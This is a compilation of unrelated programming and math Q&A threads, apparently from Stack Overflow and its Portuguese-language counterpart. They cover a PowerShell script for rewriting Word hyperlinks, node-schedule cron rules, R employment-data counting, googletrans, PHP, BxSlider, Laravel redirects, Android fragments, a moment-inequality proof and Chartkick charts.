$OurDocuments | ForEach-Object {
    $Document = $Word.documents.open($_.FullName)
    "Processing file: {0}" -f $Document.FullName
    $Document.Hyperlinks | ForEach-Object {
        if ($_.Address -like "https://www.yahoo.com/*") {
            $NewAddress = $_.Address -Replace "yahoo","google"
            "Updating {0} to {1}" -f $_.Address,$NewAddress
            $_.Address = $_.TextToDisplay = $NewAddress
        } elseif ($_.Address -like "http://def.com/*") {
            $NewAddress = $_.Address -Replace "def","hij"
            "Updating {0} to {1}" -f $_.Address,$NewAddress
            $_.Address = $_.TextToDisplay = $NewAddress
        }
    }

    "Saving changes to {0}" -f $Document.Fullname
    $Document.Save()

    $Pdf = $Document.FullName -replace $_.Extension, '.pdf'
    "Saving document {0} as PDF {1}" -f $Document.Fullname,$Pdf
    $Document.ExportAsFixedFormat($Pdf,17)

    "Completed processing {0} `r`n" -f $Document.Fullname
    $Document.Close()
}

$Word.Quit()

Let's walk through it...
We'll first move your new addresses into a couple of variables for ease of referencing and changing in the future. You can also add the addresses that you're looking for here, replacing the hard-coded strings as needed. The third line uses a filter to grab all .DOC and .DOCX files in the directory, which we'll use to iterate over. Personally, I would be careful using the -Recurse switch, as you run the risk of making unintended changes to a file deeper in the directory structure.
$NewAddress1 = "https://www.google.com/"
$NewAddress2 = "http://hij.com/"
$OurDocuments = Get-ChildItem -Path "C:\Apps\testing" -Filter "*.doc*" -Recurse

Instantiate our Word Com Object and keep it hidden from view.
$Word = New-Object -ComObject word.application
$Word.Visible = $false

Stepping into our ForEach-Object loop...
For each document that we gathered in $OurDocuments, we open it and pipe any hyperlinks into another ForEach-Object, where we check the value of the Address property. If there's a match that we want, we update the property with the new value. You'll notice that we're also updating the TextToDisplay property. This is the text that you see in the document, as opposed to Address which controls where the hyperlink actually goes.
This... $_.Address = $_.TextToDisplay = $NewAddress1 ...is an example of multi-variable assignment. Since Address and TextToDisplay will be set to the same value, we'll assign them at the same time.
$Document = $Word.documents.open($_.FullName)
"Processing file: {0}" -f $Document.FullName
$Document.Hyperlinks | ForEach-Object {
    if ($_.Address -like "https://www.yahoo.com/*") {
        $NewAddress = $_.Address -Replace "yahoo","google"
        "Updating {0} to {1}" -f $_.Address,$NewAddress
        $_.Address = $_.TextToDisplay = $NewAddress
    } elseif ($_.Address -like "http://def.com/*") {
        $NewAddress = $_.Address -Replace "def","hij"
        "Updating {0} to {1}" -f $_.Address,$NewAddress
        $_.Address = $_.TextToDisplay = $NewAddress
    }
}

Save any changes made...
"Saving changes to {0}" -f $Document.Fullname
$Document.Save()

Here we create the new filename for when we save as a PDF. Notice $_.Extension in our first line. We switch to using the pipeline object for referencing the file extension since the current pipeline object is still the file info object from our Get-ChildItem. Since the $Document object doesn't have an extension property, you'd have to do some slicing of the file name to achieve the same result.
$Pdf = $Document.FullName -replace $_.Extension, '.pdf'
"Saving document {0} as PDF {1}" -f $Document.Fullname,$Pdf
$Document.ExportAsFixedFormat($Pdf,17)

Close the document up and the loop will move to the next file in $OurDocuments.
"Completed processing {0} `r`n" -f $Document.Fullname
$Document.Close()

Once we run through all documents, we close Word.
$Word.Quit()

I hope that all makes sense!
Comment: Just updating the TLD, then? Easy enough to do. You're essentially doing something like `$NewAddress = $OldAddress -Replace "yahoo","google"`. Assuming all other parts of the address can stay the same, that is. I'll try to toss that into the answer in a moment.
Comment: Changes made and they're working for my tests. `$_.Address -eq` is now `$_.Address -like` with an asterisk at the end of the string, so that we find any links starting with those. `$NewAddress = $_.Address -Replace "yahoo","google"` generates the new address by replacing _only_ the domain name. Should be easy enough to adjust those as needed to get the searches just right for your files.
Comment: this is so super close except that I am trying to do a search a replace on only part of a link making the rest of the link stay the same.


runSchedule job every hour in nodeJS

Question: i'm working with nodejs and Mongodb. i want to run job every user define hours using npm node-schedule but its did't work.
Here is my code
    var schedule = require('node-schedule');
    var  mailTimer = 1;
    var intMail = schedule.scheduleJob('* * '+mailTimer+' * *', function(){
          console.log('its run');
    });

//its means its run every 1 hour.

Comment: What is the response that you get?
Comment: nothing get any response.
Comment: There needs to be one more `*` at the end of the input string if I'm not wrong. Add it and check the response.
Comment: yes..you are right but how can i run every hours? i need to like * * /1 * * * * or not?
Comment: `* * 1 * * *` should do it. Try!
Comment: yaaa.. thank you . .
Answer: Try this :
var schedule = require('node-schedule');
var rule = new schedule.RecurrenceRule();
rule.hour = 1;
var intMail = schedule.scheduleJob(rule, function(){
      console.log('its run');
});

You can use other rules to set like :
*    *    *    *    *    *
┬    ┬    ┬    ┬    ┬    ┬
│    │    │    │    │    |
│    │    │    │    │    └ day of week (0 - 7) (0 or 7 is Sun)
│    │    │    │    └───── month (1 - 12)
│    │    │    └────────── day of month (1 - 31)
│    │    └─────────────── hour (0 - 23)
│    └──────────────────── minute (0 - 59)
└───────────────────────── second (0 - 59, OPTIONAL)

Here's another example using other rules:
var j = schedule.scheduleJob({hour: 14, minute: 30, dayOfWeek: 0}, function(){
    console.log('Time for tea!');
});

More examples can be found here
Comment: Did you get what you were looking for?
Comment: oh yes, i'm try its but wait 1 hour for response.
Comment: instead of `rule.hour = 1` use `rule.second = 5`. If it works for 5 second interval. It will definitely work for 1 hour with the hour rule.
Comment: ohh yes sorry i forgot it. i will try this.
Answer: The crontab config should be 0 */'+mailTimer+' * * *.
Answer: There needs to be one more * at the end of the input string if I'm not wrong. Add it and check the response. For one hour you can use * * 1 * * *

runSchedule job every hour in nodeJS


Frequency of non-unique instances while conditioning on groups within and across data frames

Question: I am analyzing employment data containing information about the firms that individuals worked for in a given year, with each year being a separate data frame.
I want to be able to quickly identify individuals that have worked for multiple firms in a given year, as well as individuals who have worked for multiple firms in one year. My goal is to calculate some frequency for the number of times a given firm experiences "exit" (an employee changing firms) both within-year (a single data frame) and across years.
The data frame(s) are structured as follows:
year1 <- data.frame(individual=c("1", "2", "3", "4", "2", "6", "7", "3", "9", "10"),
                firm=c("A", "B", "C", "D", "A", "C", "D", "B", "B", "C"))

year2 <- data.frame(individual=c("1", "2", "3", "4", "5", "6", "7", "8", "9", "10"),
                firm=c("A", "B", "D", "D", "A", "C", "D", "A", "B", "C"))

I am fairly certain how to do this within a given year, by searching for all the non-unique associations between individuals and firms, but am at a loss for how to do this over multiple data objects/years. Again, I am interested in the frequency of "exit" for the firm rather than the specific individual.
My ideal output would be frequency/proportion of total employees of each firm as follows:
exit(withinyear)_byfirm
exit(betweenyear)_byfirm

Answer: Count, not proportion:
within <- function(y) {
  # A vector of length > 1 in the aggregate function means that the person has
  # changed jobs.
  # `[` ignores the value 0 if there are other values present, and returns a
  # zero-length vector if not.  Often a source of confusion, but perfect here.
  table(levels(y$firm)[aggregate(firm~individual, data=y,
                                 function(x) {z<- unique(x)
                                              if(length(z) > 1) head(z, -1) else 0})$firm])
}

between <- function(year1, year2) {
  # Last place worked in year1
  y1 <- rbind(do.call(rbind, by(year1, year1$individual, FUN=tail, 1)))

  # First place worked in year2
  y2 <- rbind(do.call(rbind, by(year2, year2$individual, FUN=head, 1)))

  # Combine these and look for duplicate individuals with the prior function
  y <- rbind(y1, y2)
  within(y)
}

The results:
> within(year1)

B C
1 1

> within(year2)
character(0)

> between(year1, year2)

A B
1 1

Comment: Two errors:
within(year1)
Error in levels(y$firm)[aggregate(firm ~ individual, data = y, function(x) { :
  invalid subscript type 'list'

There appears to be some sort of indexing issue when aggregating? It's attempting to sort a list rather than an index? Am I correct?

between(year1,year2,year3,year4,year5)
Error in match.names(clabs, names(xi)) :
  names do not match previous names

I think this has to do with the fact that some individuals are repeated across years while others are not, a classic issue with panel data/retention.
Comment: Very odd.  I get no errors with R 2.15.2.  Also, the `between` shown above only takes two arguments.  You need more?
Comment: Yes, but I used your example and modified the arguments to include all 5 yearly data sets.
Comment: I have 2.15.1 installed elsewhere.  I'll try this code later today, and see what happens.
Comment: I think there is some specific problem with the argumentation for the within(y) portion of the between() function for multiple years (more than 2).

I took this piece of code out and was able to output the rbind() of all the yearly data to check it manually.


Python googletrans output differs from the web version of Google Translate

Question: I am trying to use python googletrans package, but it produces lower-quality translations than the web interface of Google Translate.
Here is my code:
from googletrans import Translator
translator = Translator()
text = 'Проверим, насколько качественным получается перевод, если пользоваться веб-интерфейсом.'
result = translator.translate(text, src='ru', dest='en')
print(result.text)

The output is:
We check to see how well it turns out the translation, if you use the web interface.
The translation I obtain using the web interface is as follows: Let's check how high-quality the translation is if you use the web interface.
How can this difference be explained and is there anything I can do about it?
Comment: I noticed that too. Moreover, sometimes the words are translated incorrectly.
Answer: According to the docs, it's not actually using the official translate API:

The maximum character limit on a single text is 15k.
Due to limitations of the web version of google translate, this API does not
guarantee that the library would work properly at all times. (so
please use this library if you don't care about stability.)
If you want to use a stable API, I highly recommend you to use Google's
official translate API.

https://py-googletrans.readthedocs.io/en/latest/
They link to the official API documentation here: https://cloud.google.com/translate/docs


Apresentação da consulta php

Question: Preciso que me ajudem a criar uma função em php que liste várias tabelas em uma linha com várias colunas, dependendo da quantidade de registros na base de dados e do espaçamento das tabelas definido pela

Essa é a minha função, mas ela está apenas listando em várias linhas com uma única coluna:
<?php
require 'conexao.php';
$result = mysqli_query($con, 'select * from homem_classic');
?>
<?php $titulo ="Homem Clássico";
include 'includes/header.php';
include 'includes/footer.php';
?>
<!DOCTYPE html>

    <meta charset="UTF-8">

<?php while ($product=mysqli_fetch_object($result)) { ?>

    <img src="<?php echo $product->imagem; ?>" alt="">

    <?php echo $product->nome; ?>

<?php echo $product->descricao; ?>

<a class="btn btn-info" href="cart.php?id=<?php echo $product->id; ?>"><?php echo $product->preco; ?>

<?php } ?>

Comment: Coloque a parte php também, como vai buscar os dados?
Answer: Uma tabela é criada utilizando TR para abrir linhas e TD para abrir celulas.
Uma TR com múltiplas TD é o que pretendes:
<?php
while ($product=mysqli_fetch_object($result)) { ?>

  <img src="<?php echo $product->imagem; ?>" alt="">
  <?php echo $product->nome; ?>
  <?php echo $product->descricao; ?>

<a class="btn btn-info" href="cart.php?id=<?php echo $product->id; ?>"><?php echo $product->preco; ?>

<?php } ?>

Exemplo tabelas:

Linha com uma células

    João

    Azul

    Joana

    Rosa

Linha com múltiplas células

    João
    Azul

    Joana
    Rosa

Comment: Le @Zuul is back!

Apresentação da consulta php


Slide galeria uma imagem de cada vez com BxSlider

Question: Estou tentando criar galeria de slide com http://bxslider.com/ Gostaria que a galeria passasse uma imagem de cada vez e não um grupo de imagens.
Exemplo que estou usando mas que gostaria de MUDAR : http://bxslider.com/examples/carousel-dynamic-number-slides)
Abaixo o código:

Lendo as opções de bxslider achei a opção getCurrentSlide que acho que poderia da certo mas não sei como introduzir no script acima :
example:
slider = $('.bxslider').bxSlider();
var current = slider.getCurrentSlide();

Obrigada!
Answer: A resposta a isso está no próprio código jquery que publicas-te na tua pergunta, e até está mencionado na página de exemplos do link que adicionas-te, logo após o código HTML dessa página de exemplos.
minSlides > significa: número mínimo de slides a serem apresentados
maxSlides > significa: número máximo de slides a serem apresentados
Estes parâmetros existem para mostrar menos ou mais slides conforme o tamanho da tela do ecrã dependendo do valor que lhes aplicares, que neste caso por padrão são:
minSlides: 2,
maxSlides: 3,

Ou seja em ecrãs pequenos, serão apresentados apenas 2 slides de cada vez, enquanto em ecrãs de maiores dimensões serão apresentados 3 slides. Podes testar isso neste exemplo no jsFiddle que criei, onde já modifiquei o código para mostrar apenas 1 slide de cada vez.
Para mostrar apenas 1 slide de cada vez, tens que modificar o código jQuery para o seguinte:
$('.bxslider').bxSlider({
    minSlides: 1,     // mínimo de slides
    maxSlides: 1,     // máximo de slides
    slideWidth: 170,  // largura do slide
    slideMargin: 10   // margem do slide
});

No código acima eu comentei o que este parâmetros fazem, mas depois quando estiveres a implementar o código na tua plataforma podes removê-los, pois os comentários estão ali só para te orientar e dar uma noção do que estes fazem.


Get the ip address of the request in ninja framework

Question: I have the following frameworks in my app
Ninja, Akka, Spray

How do I get the client's request's ip address ?
My routing is defined as follows:
    router.GET.route(urlPrefix + "/method").`with`(classOf[Controller],"method")

Answer: I'm not sure whether your question refers to www.ninjaframework.org or spray.io, but if you're using the former, you can get the remote IP address in your controller method:
public Result method(Context context) {
    String ip = context.getRemoteAddr();
    // ...
}

As the documentation states (http://www.ninjaframework.org/apidocs/ninja/Context.html#getRemoteAddr--), you have to set the ninja.ninja.x_forwarded_for_enabled flag to true in your application.conf if your app is running behind a http proxy or load balancer.


Local storage issue in HTML 5 / Javascript

Question: I am making a checklist app with Phonegap but it debugs in a browser too as they both use web technologies. Anyway, I am having a problem with using the HTML 5 local storage. Perhaps my code is broken, or I am using it wrong. When ever I refresh the page or exit out/come back the data is gone.
Appreciate any help :^)
I tested it on my live domain as well as locally but both do not work.
<!DOCTYPE html>

        <meta charset="utf-8" />
        <meta name="format-detection" content="telephone=no" />
        <meta name="msapplication-tap-highlight" content="no" />

        <meta name="viewport" content="user-scalable=no, initial-scale=1, maximum-scale=1, minimum-scale=1, width=device-width, height=device-height, target-densitydpi=device-dpi" />

        <link rel="stylesheet" type="text/css" href="css/index.css" />
        <title>Hello World</title>

Alex

            <input type="text" id="item" placeholder="Enter an item">
            <button id="add">Add Item</button>

Comment: Oops.. My bad.. Thanks @Quentin.. :)
Comment: Your code seems to be working [here](https://jsbin.com/womumukuwu/edit?html,js,output). What is the exact problem? Is it the repetition of array items?
Comment: @anu It still doesn't save at all, if it isn't my code, maybe its something else?
Answer: As was said - the data is persisted and saved correctly.
However the logic is incorrect and overrides all the elements in the localStorage (first element overrides the first, second overrides the first two, third overrides the first three, etc.). Perhaps this is what masks the issue? :)
To be frank, I don't the the logic of running in loop and overriding all existing with the last item (and writing it to the list on the screen each time)...
Comment: "Perhaps my code is broken, or I am using it wrong", "Appreciate any help" - this is by OP. However, I appreciate the remark and will take care.
Comment: @st2rseeker yes the logic is bad but is that what is causing the saving problem? the data is not persisting for me. any tips on how I should test it, should I try anything? Thanks
Comment: @st2rseeker I fixed the logic, it works now but without the saving stuff


Como corrigir o redireccionamento para subdomínios que estão em servidores diferentes?

Question: Eu estou trabalhado em uma api em laravel que quando acessam o a url da api pelo navegador o usuário é redireccionado para o front-end. o problema é que a url do fron-end é concatenada com a url do back-end, quebrando o link, assim: https://base-url.com.brhttps://domino.com.br
O problema iniciou quando eu alterei uma variável ambiente que armazena a url do font.
Route::any('/', function () {
     header('Location: ' . env('APP_FRONTEND_URL'));
     die;
});

Como posso corrigir isso? Será é porque ambos os projectos estão em domínios diferentes?
Answer: O Laravel tem vários helpers para evitar o envio de cabeçalhos HTTP de forma manual. Para o redirecionamento você pode usar a função redirect (atenção ao return):
Route::any('/', function() {
    return redirect('https://exemplo.com.br');
});

Answer: Você poder utilizar o próprio Redirect no Laravel:
Route::redirect('/', env('APP_FRONTEND_URL'));

https://laravel.com/docs/8.x/routing#redirect-routes


Call MainActivityFragment from AppCompatActivity

Question: How do I call MainActivityFragment from AppCompatActivity in Android? (I am new to Android.)
Code
main activity
public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        // Create new fragment and transaction

        }
}

Fragment
public class MainActivityFragment extends Fragment {

    ArrayAdapter mforecastadapter;
    ListView list_view;

    public MainActivityFragment() {
    }

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {
      View rootview= inflater.inflate(R.layout.fragment_main, container, false);

      String Items[] = {"Sandeep", "Santhosh", "Sangeetha", "Basil", "bibhas", "sumanth", "praveen"};
      List<String> weekforecast=new ArrayList<>(Arrays.asList(Items));

      mforecastadapter=new ArrayAdapter<String>(getActivity(),R.layout.fragment_main,R.id.list_item_forecast_textview,Items);
      list_view = (ListView) rootview.findViewById(R.id.listView);
      list_view.setAdapter(mforecastadapter);

      return rootview;

    }

}

Answer: Don't really know what you mean by "call", but if you want to instantiate a fragment in an Activity, write this in your Activity:
    FragmentManager fm = getFragmentManager();
    FragmentTransaction ft = fm.beginTransaction();

    YourFragment frag = new YourFragment ();
    ft.replace(R.id.container_for_fragment, frag);
    ft.commit();

Notice R.id.container_for_fragment is your xml attribute for containing the fragment instance. it can be <fragment>, <FrameLayout>.
This is the most basic way to do that. You can find some more examples on SO, how to use fragments BackStack, etc.
You can also use add() instead of replace() in FragmentTransaction, depends on your need.
I hope it helps you.


Bounding the $\mathbb{E}|X|^p $ and $\mathbb{E}|Y|^p$ by $\mathbb{E}|X+Y|^p$

Question: I am trying to prove the following statement:

Let $X, Y$ be two independent random variables. If for some $p>0$, $\mathbb{E}(|X+Y|^p)<\infty$, then $\mathbb{E}(|X|^p)$ and $\mathbb{E}(|Y|^p)$ are both finite.

The trouble I am having is that all the inequalities which I can think of in this case are in the opposite direction of what I actually want to prove. For instance, Minowski's inequality allows me to conclude that
$$\mathbb{E}|X+Y|^p \leq [(\mathbb{E} |X|^p)^{1/p} +(\mathbb{E} |Y|^p)^{1/p}]^p $$,
but this is not helpful at all in terms of the direction of the inquality. I also struggled to find a way to utilize the independence assumption. I would appreciate it if someone could provide a hint.
Comment: One thing that sticks out is that if you know that any of the two expected values is finite, then the third expected value must be finite. So maybe try to prove the contrapositive that if $|X|^p, |Y|^p$ have infinite expected values then so does $|X+Y|^p$
Comment: Also https://math.stackexchange.com/q/398997/321264, https://math.stackexchange.com/q/188385/321264.
Answer: Since $|X+Y|^p$ is integrable with respect to $\mathbb P$, we can define conditional expectation $\mathbb E[|X+Y|^p | \mathcal G]$ with respect to any $\sigma-$field $\mathcal G \subset \mathcal F$. Let $\mathcal G = \sigma(X)$ for example.
By properties of conditional expectation and independence, we get:
$$ \infty > \mathbb E[|X+Y|^p] = \mathbb E[ \mathbb E[ |X+Y|^p | \sigma(X) ] ] = \mathbb E[ H(X)] $$
Where $H(t)= \mathbb E[|t+Y|^p]$. In particular we must have $H(X) < \infty$ $\mathbb P-$almost surely, so that we need to have at least one $t \in \mathbb R$ such that $H(t) < \infty$, which means that there is some $t \in \mathbb R$ such that $\mathbb E[|t+Y|^p] < \infty$
But then $$\mathbb E[|Y|^p] = \mathbb E[ |(Y+t) + (-t)|^p] \le \Big(\big(\mathbb E[|Y+t|^p]\big)^{\frac{1}{p}} + |t| \Big)^p < \infty$$
Similarly, changing to $\sigma(Y)$ we'll get $\mathbb E|X|^p < \infty$.


Active Record - Charting how many people in a group?

Question: I'm using Chartkick in my RoR app and I'm trying to create a pie chart that displays all the People that are in each Group. My Group and Person model are both HABTM. Right now the chart is working and only displaying number of groups(screenshot and code below) if someone knows how to grab the number of people in each group using active record I'd love it!
here is my code
<%= pie_chart Group.group(:name).count %>

Here is a screenshot

here is my Schema
  create_table "people", force: :cascade do |t|
t.string   "phone_number"
t.datetime "created_at",                  null: false
t.datetime "updated_at",                  null: false
t.boolean  "subscribed",   default: true, null: false
t.string   "city"
t.string   "state"
t.string   "zip"
t.string   "country"
 end

 create_table "groups", force: :cascade do |t|
t.string   "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end

 create_table "groups_people", id: false, force: :cascade do |t|
t.integer "group_id",  null: false
t.integer "person_id", null: false
end

here is the person model
class Person < ActiveRecord::Base
has_many :deliveries
has_and_belongs_to_many :groups

here is group model
class Group < ActiveRecord::Base
 has_and_belongs_to_many :people
 has_and_belongs_to_many :messages
end

Answer: <%= pie_chart Group.includes(:people).all.map {|g| [g.name, g.people.size] }.to_h %>

By the way, it will better to move this logic into model body.
Comment: I think you're on the right track but I get this error
Comment: SQLite3::SQLException: near "group": syntax error: SELECT COUNT(*) AS count_all, group AS group FROM "people" GROUP BY "group"
Comment: update please your question with models and schema code and let me know)
Comment: Now getting uninitialized constant ActionView::CompiledTemplates::People